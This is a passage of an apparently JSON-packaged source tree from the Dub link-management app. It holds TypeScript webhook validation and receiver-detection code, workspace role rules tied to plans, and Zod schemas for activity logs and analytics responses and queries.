{\n    await Promise.all([\n      ...workspaceLevelWebhooks.map((webhook) =>\n        prisma.webhook.update({\n          where: {\n            id: webhook.id,\n          },\n          data: {\n            triggers: (webhook.triggers as string[]) || [],\n          },\n        }),\n      ),\n\n      webhookCache.deleteMany(\n        workspaceLevelWebhooks.map((webhook) => webhook.id),\n      ),\n    ]);\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/webhook/utils.ts",
    "content": "import { Webhook, WebhookReceiver } from \"@dub/prisma/client\";\nimport { LINK_LEVEL_WEBHOOK_TRIGGERS } from \"./constants\";\n\nconst webhookReceivers: Record<string, WebhookReceiver> = {\n  \"zapier.com\": \"zapier\",\n  \"hooks.zapier.com\": \"zapier\",\n  \"make.com\": \"make\",\n  \"hooks.slack.com\": \"slack\",\n  \"api.segment.io\": \"segment\",\n};\n\nexport const isLinkLevelWebhook = (webhook: Pick<Webhook, \"triggers\">) => {\n  if (!webhook.triggers) {\n    return false;\n  }\n\n  const triggers =\n    webhook.triggers as (typeof LINK_LEVEL_WEBHOOK_TRIGGERS)[number][];\n\n  return triggers.some((trigger) =>\n    LINK_LEVEL_WEBHOOK_TRIGGERS.includes(trigger),\n  );\n};\n\nexport const identifyWebhookReceiver = (url: string): WebhookReceiver => {\n  const { hostname } = new URL(url);\n\n  return webhookReceivers[hostname] || \"user\";\n};\n"
  },
  {
    "path": "apps/web/lib/webhook/validate-webhook.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Webhook } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { DubApiError } from \"../api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"../api/programs/get-default-program-id-or-throw\";\nimport { Session } from \"../auth\";\nimport { getFolders } from \"../folder/get-folders\";\nimport { WorkspaceProps } from \"../types\";\nimport { createWebhookSchema } from \"../zod/schemas/webhooks\";\n\nexport async function validateWebhook({\n  input,\n  workspace,\n  webhook,\n  user,\n}: {\n  input: Partial<z.infer<typeof createWebhookSchema>>;\n  workspace: Pick<WorkspaceProps, \"id\" | \"defaultProgramId\">;\n  webhook?: Webhook;\n  user: Session[\"user\"];\n}) {\n  const { url, linkIds, triggers } = input;\n\n  // payout.confirmed trigger requires external payouts enabled\n  if (triggers && triggers.includes(\"payout.confirmed\")) {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const program = await prisma.program.findUniqueOrThrow({\n      where: {\n        id: programId,\n      },\n      select: {\n        payoutMode: true,\n      },\n    });\n\n    // TODO: Maybe show this for all in the future?\n    if (program.payoutMode === \"internal\") {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `The 'payout.confirmed' trigger is not currently available for your workspace.`,\n      });\n    }\n  }\n\n  if (url) {\n    const webhookUrlExists = await prisma.webhook.findFirst({\n      where: {\n        projectId: workspace.id,\n        url,\n        ...(webhook && {\n          id: {\n            not: webhook.id,\n          },\n        }),\n      },\n    });\n\n    if (webhookUrlExists) {\n      throw new DubApiError({\n        code: \"conflict\",\n        message: \"A Webhook with this URL already exists.\",\n      });\n    }\n  }\n\n  if (linkIds && linkIds.length > 0) {\n    const folders = await getFolders({\n      workspaceId: workspace.id,\n      userId: user.id,\n    });\n\n    const links = await prisma.link.findMany({\n      where: {\n        id: {\n          in: linkIds,\n        },\n        projectId: workspace.id,\n        OR: [\n          { folderId: null },\n          { folderId: { in: folders.map((folder) => folder.id) } },\n        ],\n      },\n      select: {\n        id: true,\n      },\n    });\n\n    if (links.length !== linkIds.length) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"Invalid link IDs provided. Please check the links you are adding the webhook to.\",\n      });\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/well-known.ts",
    "content": "export type WellKnownConfig = {\n  \"apple-app-site-association\": {\n    applinks: {\n      apps: any[];\n      details: any[];\n    };\n  };\n  \"assetlinks.json\": any[];\n};\n\nexport const supportedWellKnownFiles = [\n  \"apple-app-site-association\",\n  \"assetlinks.json\",\n];\n\nexport type SupportedWellKnownFiles = keyof WellKnownConfig;\n"
  },
  {
    "path": "apps/web/lib/workspace-roles.ts",
    "content": "import { WorkspaceRole } from \"@dub/prisma/client\";\nimport type { Icon } from \"@dub/ui/icons\";\nimport { Eye, MoneyBill, User, UserCrown } from \"@dub/ui/icons\";\nimport { PlanProps } from \"./types\";\n\nexport const WORKSPACE_ROLES = [\n  { value: WorkspaceRole.owner, label: \"Owner\", icon: UserCrown },\n  { value: WorkspaceRole.member, label: \"Member\", icon: User },\n  { value: WorkspaceRole.viewer, label: \"Viewer\", icon: Eye },\n  { value: WorkspaceRole.billing, label: \"Billing\", icon: MoneyBill },\n] satisfies { value: WorkspaceRole; label: string; icon: Icon }[];\n\nconst ROLE_PLAN_REQUIREMENTS: Record<WorkspaceRole, string[]> = {\n  [WorkspaceRole.owner]: [\n    \"free\",\n    \"pro\",\n    \"business\",\n    \"business plus\",\n    \"business extra\",\n    \"business max\",\n    \"advanced\",\n    \"enterprise\",\n  ],\n  [WorkspaceRole.member]: [\n    \"free\",\n    \"pro\",\n    \"business\",\n    \"business plus\",\n    \"business extra\",\n    \"business max\",\n    \"advanced\",\n    \"enterprise\",\n  ],\n  [WorkspaceRole.viewer]: [\n    \"business\",\n    \"business plus\",\n    \"business extra\",\n    \"business max\",\n    \"advanced\",\n    \"enterprise\",\n  ],\n  [WorkspaceRole.billing]: [\"advanced\", \"enterprise\"],\n};\n\n// Check if a role is available for a given plan\nexport function isRoleAvailableForPlan({\n  role,\n  plan,\n}: {\n  role: WorkspaceRole;\n  plan: string | null;\n}): boolean {\n  if (!plan) {\n    return false;\n  }\n\n  return ROLE_PLAN_REQUIREMENTS[role].some(\n    (availablePlan) => plan === availablePlan,\n  );\n}\n\n// Get available workspace roles based on the plan\nexport function getAvailableRolesForPlan(\n  plan: PlanProps | null | undefined,\n): WorkspaceRole[] {\n  if (!plan) {\n    return [];\n  }\n\n  return Object.values(WorkspaceRole).filter((role) =>\n    isRoleAvailableForPlan({ role, plan }),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/activity-log.ts",
    "content": "import * as z from \"zod/v4\";\nimport { UserSchema } from \"./users\";\n\nexport const activityLogResourceTypeSchema = z.enum([\n  \"referral\",\n  \"partner\",\n  \"clickReward\",\n  \"saleReward\",\n  \"leadReward\",\n]);\n\nexport const activityLogActionSchema = z.enum([\n  \"referral.created\",\n  \"referral.updated\",\n  \"referral.qualified\",\n  \"referral.meeting\",\n  \"referral.negotiation\",\n  \"referral.unqualified\",\n  \"referral.closedWon\",\n  \"referral.closedLost\",\n\n  \"partner.groupChanged\",\n\n  \"reward.created\",\n  \"reward.updated\",\n  \"reward.deleted\",\n  \"reward.conditionAdded\",\n  \"reward.conditionRemoved\",\n  \"reward.conditionUpdated\",\n]);\n\nexport const getActivityLogsQuerySchema = z.object({\n  resourceType: activityLogResourceTypeSchema,\n  resourceId: z.string().optional(),\n  parentResourceId: z.string().optional(),\n  action: activityLogActionSchema.optional(),\n});\n\nexport const fieldDiffSchema = z.object({\n  old: z.unknown().nullable(),\n  new: z.unknown().nullable(),\n});\n\nexport const activityLogSchema = z.object({\n  id: z.string(),\n  action: activityLogActionSchema,\n  description: z.string().nullable(),\n  changeSet: z.record(z.string(), fieldDiffSchema).nullable(),\n  createdAt: z.date(),\n  user: UserSchema.nullable().default(null),\n});\n\nexport const REWARD_EVENT_TO_RESOURCE_TYPE = {\n  click: \"clickReward\",\n  sale: \"saleReward\",\n  lead: \"leadReward\",\n} as const;\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/analytics-response.ts",
    "content": "import { TRIGGER_TYPES } from \"@/lib/analytics/constants\";\nimport { CONTINENT_CODES } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { LinkTagSchema } from \"./tags\";\nimport { centsSchemaWithDefault } from \"./utils\";\n\nconst analyticsTriggersResponse = z.object({\n  trigger: z\n    .enum(TRIGGER_TYPES)\n    .describe(\"The type of trigger method: link click or QR scan\"),\n  clicks: z\n    .number()\n    .describe(\"The number of clicks from this trigger method\")\n    .default(0),\n  leads: z\n    .number()\n    .describe(\"The number of leads from this trigger method\")\n    .default(0),\n  sales: z\n    .number()\n    .describe(\"The number of sales from this trigger method\")\n    .default(0),\n  saleAmount: centsSchemaWithDefault.describe(\n    \"The total amount of sales from this trigger method, in cents\",\n  ),\n});\n\nexport const analyticsResponse = {\n  count: z.object({\n    clicks: z.coerce.number().describe(\"The total number of clicks\").default(0),\n    leads: z.coerce.number().describe(\"The total number of leads\").default(0),\n    sales: z.coerce.number().describe(\"The total number of sales\").default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales, in cents\",\n    ),\n  }),\n\n  timeseries: z.object({\n    start: z.string().describe(\"The starting timestamp of the interval\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks in the interval\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads in the interval\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales in the interval\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales in the interval, in cents\",\n    ),\n  }),\n\n  continents: z.object({\n    continent: z\n      .enum(CONTINENT_CODES)\n      .describe(\n        \"The 2-letter ISO 3166-1 code representing the continent associated with the location of the user.\",\n      ),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks from this continent\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads from this continent\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales from this continent\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this continent, in cents\",\n    ),\n  }),\n\n  countries: z.object({\n    country: z\n      .string()\n      .describe(\n        \"The 2-letter ISO 3166-1 country code of the country. Learn more: https://d.to/geo\",\n      ),\n    region: z.literal(\"*\").default(\"*\"),\n    city: z.literal(\"*\").default(\"*\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks from this country\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads from this country\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales from this country\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this country, in cents\",\n    ),\n  }),\n\n  regions: z.object({\n    country: z\n      .string()\n      .describe(\n        \"The 2-letter ISO 3166-1 country code of the country. Learn more: https://d.to/geo\",\n      ),\n    region: z\n      .string()\n      .describe(\"The 2-letter ISO 3166-2 region code of the region.\"),\n    city: z.literal(\"*\").default(\"*\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks from this region\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads from this region\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales from this region\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this region, in cents\",\n    ),\n  }),\n\n  cities: z.object({\n    country: z\n      .string()\n      .describe(\n        \"The 2-letter ISO 3166-1 country code of the country where this city is located. Learn more: https://d.to/geo\",\n      ),\n    region: z\n      .string()\n      .describe(\n        \"The 2-letter ISO 3166-2 region code representing the region associated with the location of the user.\",\n      ),\n    city: z.string().describe(\"The name of the city\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks from this city\")\n      .default(0),\n    leads: z.number().describe(\"The number of leads from this city\").default(0),\n    sales: z.number().describe(\"The number of sales from this city\").default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this city, in cents\",\n    ),\n  }),\n\n  devices: z.object({\n    device: z.string().describe(\"The name of the device\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks from this device\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads from this device\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales from this device\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this device, in cents\",\n    ),\n  }),\n\n  browsers: z.object({\n    browser: z.string().describe(\"The name of the browser\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks from this browser\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads from this browser\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales from this browser\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this browser, in cents\",\n    ),\n  }),\n\n  os: z.object({\n    os: z.string().describe(\"The name of the OS\"),\n    clicks: z.number().describe(\"The number of clicks from this OS\").default(0),\n    leads: z.number().describe(\"The number of leads from this OS\").default(0),\n    sales: z.number().describe(\"The number of sales from this OS\").default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this OS, in cents\",\n    ),\n  }),\n\n  triggers: analyticsTriggersResponse,\n  trigger: analyticsTriggersResponse, // backwards compatibility\n\n  referers: z.object({\n    referer: z\n      .string()\n      .describe(\"The name of the referer. If unknown, this will be `(direct)`\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks from this referer\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads from this referer\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales from this referer\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this referer, in cents\",\n    ),\n  }),\n\n  referer_urls: z.object({\n    refererUrl: z\n      .string()\n      .describe(\n        \"The full URL of the referer. If unknown, this will be `(direct)`\",\n      ),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks from this referer to this URL\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads from this referer to this URL\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales from this referer to this URL\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this referer to this URL, in cents\",\n    ),\n  }),\n\n  top_links: z.object({\n    link: z\n      .string()\n      .describe(\"The unique ID of the short link\")\n      .meta({ deprecated: true }),\n    id: z.string().describe(\"The unique ID of the short link\"),\n    domain: z.string().describe(\"The domain of the short link\"),\n    key: z.string().describe(\"The key of the short link\"),\n    shortLink: z.string().describe(\"The short link URL\"),\n    url: z.string().describe(\"The destination URL of the short link\"),\n    title: z\n      .string()\n      .nullish()\n      .describe(\"The custom link preview title (og:title)\"),\n    comments: z.string().nullish().describe(\"The comments of the short link\"),\n    folderId: z\n      .string()\n      .nullish()\n      .describe(\n        \"The ID of the folder that the link belongs to (if applicable)\",\n      ),\n    partnerId: z\n      .string()\n      .nullish()\n      .describe(\n        \"The ID of the partner that the link belongs to (if applicable)\",\n      ),\n    createdAt: z.string().describe(\"The creation timestamp of the short link\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks from this link\")\n      .default(0),\n    leads: z.number().describe(\"The number of leads from this link\").default(0),\n    sales: z.number().describe(\"The number of sales from this link\").default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this link, in cents\",\n    ),\n  }),\n\n  top_urls: z.object({\n    url: z\n      .string()\n      .describe(\"The full destination URL (including query parameters)\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks from this URL\")\n      .default(0),\n    leads: z.number().describe(\"The number of leads from this URL\").default(0),\n    sales: z.number().describe(\"The number of sales from this URL\").default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this URL, in cents\",\n    ),\n  }),\n\n  top_base_urls: z.object({\n    url: z\n      .string()\n      .describe(\"The base URL (destination URL without query parameters)\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks from this base URL\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads from this base URL\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales from this base URL\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this base URL, in cents\",\n    ),\n  }),\n\n  utm_sources: z.object({\n    utm_source: z.string().describe(\"The UTM source\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks with this UTM source\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads with this UTM source\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales with this UTM source\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales with this UTM source, in cents\",\n    ),\n  }),\n\n  utm_mediums: z.object({\n    utm_medium: z.string().describe(\"The UTM medium\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks with this UTM medium\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads with this UTM medium\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales with this UTM medium\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales with this UTM medium, in cents\",\n    ),\n  }),\n\n  utm_campaigns: z.object({\n    utm_campaign: z.string().describe(\"The UTM campaign\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks with this UTM campaign\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads with this UTM campaign\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales with this UTM campaign\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales with this UTM campaign, in cents\",\n    ),\n  }),\n\n  utm_terms: z.object({\n    utm_term: z.string().describe(\"The UTM term\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks with this UTM term\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads with this UTM term\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales with this UTM term\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales with this UTM term, in cents\",\n    ),\n  }),\n\n  utm_contents: z.object({\n    utm_content: z.string().describe(\"The UTM content\"),\n    clicks: z\n      .number()\n      .describe(\"The number of clicks with this UTM content\")\n      .default(0),\n    leads: z\n      .number()\n      .describe(\"The number of leads with this UTM content\")\n      .default(0),\n    sales: z\n      .number()\n      .describe(\"The number of sales with this UTM content\")\n      .default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales with this UTM content, in cents\",\n    ),\n  }),\n\n  top_folders: z.object({\n    folderId: z.string().describe(\"The ID of the folder\"),\n    folder: z.object({\n      id: z.string().describe(\"The ID of the folder\"),\n      name: z.string().describe(\"The name of the folder\"),\n    }),\n    clicks: z.number().describe(\"The total number of clicks\").default(0),\n    leads: z.number().describe(\"The total number of leads\").default(0),\n    sales: z.number().describe(\"The total number of sales\").default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this link folder, in cents\",\n    ),\n  }),\n\n  top_link_tags: z.object({\n    tagId: z.string().describe(\"The ID of the tag\"),\n    tag: LinkTagSchema,\n    clicks: z.number().describe(\"The total number of clicks\").default(0),\n    leads: z.number().describe(\"The total number of leads\").default(0),\n    sales: z.number().describe(\"The total number of sales\").default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this link tag, in cents\",\n    ),\n  }),\n\n  top_domains: z.object({\n    domain: z.string().describe(\"The unique domain name\"),\n    clicks: z.number().describe(\"The total number of clicks\").default(0),\n    leads: z.number().describe(\"The total number of leads\").default(0),\n    sales: z.number().describe(\"The total number of sales\").default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this domain, in cents\",\n    ),\n  }),\n\n  top_partners: z.object({\n    partnerId: z.string().describe(\"The ID of the partner\"),\n    partner: z.object({\n      id: z.string().describe(\"The ID of the partner\"),\n      name: z.string().describe(\"The name of the partner\"),\n      image: z.string().nullable().describe(\"The image of the partner\"),\n      payoutsEnabledAt: z\n        .string()\n        .nullable()\n        .describe(\"The date the partner enabled payouts\"),\n      country: z.string().nullable().describe(\"The country of the partner\"),\n    }),\n    clicks: z.number().describe(\"The total number of clicks\").default(0),\n    leads: z.number().describe(\"The total number of leads\").default(0),\n    sales: z.number().describe(\"The total number of sales\").default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this partner for this program, in cents\",\n    ),\n  }),\n\n  top_groups: z.object({\n    groupId: z.string().describe(\"The ID of the group\"),\n    group: z.object({\n      id: z.string().describe(\"The ID of the group\"),\n      name: z.string().describe(\"The name of the group\"),\n      slug: z.string().describe(\"The slug of the group\"),\n      color: z.string().nullable().describe(\"The color of the group\"),\n    }),\n    clicks: z.number().describe(\"The total number of clicks\").default(0),\n    leads: z.number().describe(\"The total number of leads\").default(0),\n    sales: z.number().describe(\"The total number of sales\").default(0),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total amount of sales from this group, in cents\",\n    ),\n  }),\n} as const;\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/analytics.ts",
    "content": "import {\n  DATE_RANGE_INTERVAL_PRESETS,\n  EVENT_TYPES,\n  OLD_ANALYTICS_ENDPOINTS,\n  OLD_TO_NEW_ANALYTICS_ENDPOINTS,\n  VALID_ANALYTICS_ENDPOINTS,\n} from \"@/lib/analytics/constants\";\nimport {\n  DEFAULT_PAGINATION_LIMIT,\n  DUB_FOUNDING_DATE,\n  capitalize,\n  formatDate,\n  parseFilterValue,\n} from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { booleanQuerySchema } from \"./misc\";\nimport { parseDateSchema } from \"./utils\";\n\nconst analyticsEvents = z\n  .enum([...EVENT_TYPES, \"composite\"], {\n    error: \"Invalid event type. Valid event types are: clicks, leads, sales\",\n  })\n  .default(\"clicks\")\n  .meta({\n    description:\n      \"The type of event to retrieve analytics for. Defaults to `clicks`.\",\n    example: \"leads\",\n  });\n\nconst analyticsGroupBy = z\n  .enum(VALID_ANALYTICS_ENDPOINTS, {\n    error: `Invalid type value. Valid values are: ${VALID_ANALYTICS_ENDPOINTS.filter((v) => v !== \"trigger\").join(\", \")}.`,\n  })\n  .default(\"count\")\n  .describe(\n    \"The parameter to group the analytics data points by. Defaults to `count` if undefined.\",\n  );\n\nconst oldAnalyticsEndpoints = z\n  .enum(OLD_ANALYTICS_ENDPOINTS, {\n    error: `Invalid type value. Valid values are: ${OLD_ANALYTICS_ENDPOINTS.join(\", \")}`,\n  })\n  .transform((v) => OLD_TO_NEW_ANALYTICS_ENDPOINTS[v] || v);\n\n// For backwards compatibility\nexport const analyticsPathParamsSchema = z.object({\n  eventType: analyticsEvents\n    .removeDefault()\n    .or(oldAnalyticsEndpoints)\n    .optional(),\n  endpoint: oldAnalyticsEndpoints.optional(),\n});\n\n// Query schema for GET /analytics and GET /events endpoints\nexport const analyticsQuerySchema = z.object({\n  event: analyticsEvents,\n  groupBy: analyticsGroupBy,\n  domain: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The domain to filter analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `dub.co`, `dub.co,google.com`, `-spam.com`.\",\n    )\n    .meta({ example: \"dub.co\" }),\n  key: z\n    .string()\n    .optional()\n    .describe(\n      \"The slug of the short link to retrieve analytics for. Must be used along with the corresponding `domain` of the short link to fetch analytics for a specific short link.\",\n    ),\n  linkId: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The unique ID of the link to retrieve analytics for.\" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `link_123`, `link_123,link_456`, `-link_789`.\",\n    ),\n  externalId: z\n    .string()\n    .optional()\n    .describe(\n      \"The ID of the link in the your database. Must be prefixed with 'ext_' when passed as a query parameter.\",\n    ),\n  tenantId: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The ID of the tenant that created the link inside your system. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `tenant_123`, `tenant_123,tenant_456`, `-tenant_789`.\",\n    ),\n  tagId: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The tag ID to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `tag_123`, `tag_123,tag_456`, `-tag_789`.\",\n    ),\n  folderId: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The folder ID to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `folder_123`, `folder_123,folder_456`, `-folder_789`. \" +\n        \"If not provided, return analytics for all links.\",\n    ),\n  groupId: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The group ID to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `grp_123`, `grp_123,grp_456`, `-grp_789`.\",\n    ),\n  partnerId: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The ID of the partner to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `pn_123`, `pn_123,pn_456`, `-pn_789`.\",\n    ),\n  customerId: z\n    .string()\n    .optional()\n    .describe(\"The ID of the customer to retrieve analytics for.\"),\n  interval: z\n    .enum(DATE_RANGE_INTERVAL_PRESETS)\n    .optional()\n    .describe(\n      \"The interval to retrieve analytics for. If undefined, defaults to 24h.\",\n    ),\n  start: parseDateSchema\n    .refine((value: Date) => value >= DUB_FOUNDING_DATE, {\n      message: `The start date cannot be earlier than ${formatDate(DUB_FOUNDING_DATE)}.`,\n    })\n    .optional()\n    .describe(\n      \"The start date and time when to retrieve analytics from. If set, takes precedence over `interval`.\",\n    ),\n  end: parseDateSchema\n    .optional()\n    .describe(\n      \"The end date and time when to retrieve analytics from. If not provided, defaults to the current date. If set along with `start`, takes precedence over `interval`.\",\n    ),\n  timezone: z\n    .string()\n    .optional()\n    .describe(\n      \"The IANA time zone code for aligning timeseries granularity (e.g. America/New_York). Defaults to UTC.\",\n    )\n    .meta({ example: \"America/New_York\", default: \"UTC\" }),\n  // more filter facets\n  country: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The country to retrieve analytics for. Must be passed as a 2-letter ISO 3166-1 country code (see https://d.to/geo). \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `US`, `US,BR,FR`, `-US`.\",\n    ),\n  city: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The city to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `New York`, `New York,London`, `-New York`.\",\n    ),\n  region: z\n    .string()\n    .optional()\n    .describe(\n      \"The ISO 3166-2 region code to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `NY`, `NY,CA`, `-NY`.\",\n    ),\n  continent: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The continent to retrieve analytics for. Valid values: AF, AN, AS, EU, NA, OC, SA. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `NA`, `NA,EU`, `-AS`.\",\n    ),\n  device: z\n    .string()\n    .optional()\n    .transform((v) => {\n      if (!v) return undefined;\n      // Capitalize each value\n      const parsed = parseFilterValue(v);\n      if (!parsed) return undefined;\n      return {\n        ...parsed,\n        values: parsed.values\n          .map((val) => capitalize(val))\n          .filter(Boolean) as string[],\n      };\n    })\n    .describe(\n      \"The device to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `Desktop`, `Mobile,Tablet`, `-Mobile`.\",\n    ),\n  browser: z\n    .string()\n    .optional()\n    .transform((v) => {\n      if (!v) return undefined;\n      const parsed = parseFilterValue(v);\n      if (!parsed) return undefined;\n      return {\n        ...parsed,\n        values: parsed.values\n          .map((val) => capitalize(val))\n          .filter(Boolean) as string[],\n      };\n    })\n    .describe(\n      \"The browser to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `Chrome`, `Chrome,Firefox,Safari`, `-IE`.\",\n    ),\n  os: z\n    .string()\n    .optional()\n    .transform((v) => {\n      if (!v) return undefined;\n      const parsed = parseFilterValue(v);\n      if (!parsed) return undefined;\n      return {\n        ...parsed,\n        values: parsed.values\n          .map((val) => (val === \"iOS\" ? \"iOS\" : capitalize(val)))\n          .filter(Boolean) as string[],\n      };\n    })\n    .describe(\n      \"The OS to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `Windows`, `Mac,Windows,Linux`, `-Windows`.\",\n    ),\n  trigger: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The trigger to retrieve analytics for. Valid values: qr, link, pageview. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `qr`, `qr,link`, `-qr`. \" +\n        \"If undefined, returns all trigger types.\",\n    ),\n  referer: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The referer hostname to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `google.com`, `google.com,twitter.com`, `-facebook.com`.\",\n    ),\n  refererUrl: z\n    .string()\n    .optional()\n    